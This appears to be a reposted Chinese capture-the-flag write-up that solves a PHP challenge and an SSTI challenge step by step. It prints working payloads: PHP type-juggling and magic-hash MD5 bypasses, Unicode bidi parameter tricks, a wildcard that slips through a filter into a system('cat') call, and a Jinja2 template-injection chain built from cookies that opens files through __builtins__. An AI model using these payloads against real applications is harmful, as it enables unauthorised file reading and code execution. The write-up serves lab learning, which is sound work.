echo "\n";
echo "a9"+"11"; // 11 題目中屬于這個情況 也就是最終的 $user = $getUserID;
echo "\n";
echo "9a"+'a8'; // 9
echo "\n";
echo "a4"+'a8'; // 0
那么我們知道要傳入user=114514
// 然后進入第二個if 如果 $getpass和$pass相等 那么進入判斷
// 在前面發現 $getpass = (int)@$_GET['pass']; 要轉入數字 只要傳入不是數字開頭字串 那$getpass一定為0 假如 $pass是字母開頭 那么 就可以進入判斷 我們試一下
if($user == 114514 && $getpass == $pass){
//.....
}
給user傳入114514 給pass傳字符 mySaid 傳純字母 myHeart傳純數字
如果回傳了Cheater!說明 $pass 就是字母開頭 給pass傳字母來繞過,假設成立

// 下面就是md5弱比較繞過
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
// 要求$getmySaid是純字母 $getmyHeart是數字 而且 md5兩者相等 這里是 != 弱判斷
// 使用 md5 之后是0e開頭就可以繞過
//mySaid=TUFEPMC myHeart=1586264293
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
如下,我們讓第一個 $week_1 = true;
user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293
下面實作第二個
// 這個if 首先判斷傳入的 data 是不是一個陣列
// 我們要先了解一下array_search的漏洞
// array_search是查找$data陣列中和Probius相等的值 回傳其下標 在第三個引數不為true的時候 是 == 弱比較 也就是 0 == "admin" 成立 我們只需要構造[0]即可 或者 ['x'] 這種 以任意字母開頭的字串
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}

這樣我們就讓 $week_2=true 進入下一個if
if($week_1 && $week_2){
//這里是md5強相等繞過 我們前面讓data是一個陣列 使$verify是一個陣列即可 對陣列計算md5值都是0
if(md5($data)===md5($verify)){
}
進入下一個條件

這個使奇怪的編碼 Unicode 在NSSCTF 有一個 CheckIn 考點就是這個
我們在vscode打開修改就好了

U+202E=>0xE2 0x80 0xAE=>%E2%80%AE
U+2066=>0xE2 0x81 0xA6=>%E2%81%A6
U+2069=>0xE2 0x81 0xA9=>%E2%81%A9
hn=hn
%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
試下我們思路是否正確

這樣我們進入最后的if
// 我們使用通配符試試 而且還包含了 include "k1y.php"; 試試看
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}
我們試試看輸出 k1y.php 的內容,這也驗證了推測 user和pass都是字母開頭

直接 $want=f*

payload
GET:
?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
POST:
data[]=0&verify[]=3&want=f*
[WEEK3]ssssti
分析
長的和week2的ssti一樣 但是肯定變難了(加了黑名單)
黑名單(大概
'
"
_
args -- 無法使用 request.args
os -- 無法匯入os
不允許post -- 無法使用 request.value
看之前筆記找到了一個payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
這個是讀取根目錄下的flag 根據上個ssti的題猜測flag應該還是在本目錄
然后使用request.cookies構造上述的payload就好了
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gW9vhjAh-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027173941292.png)]](https://img.uj5u.com/2022/10/30/3280853007303749.png)
payload
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/523119.html
標籤:其他
下一篇:游戲影片技術簡介
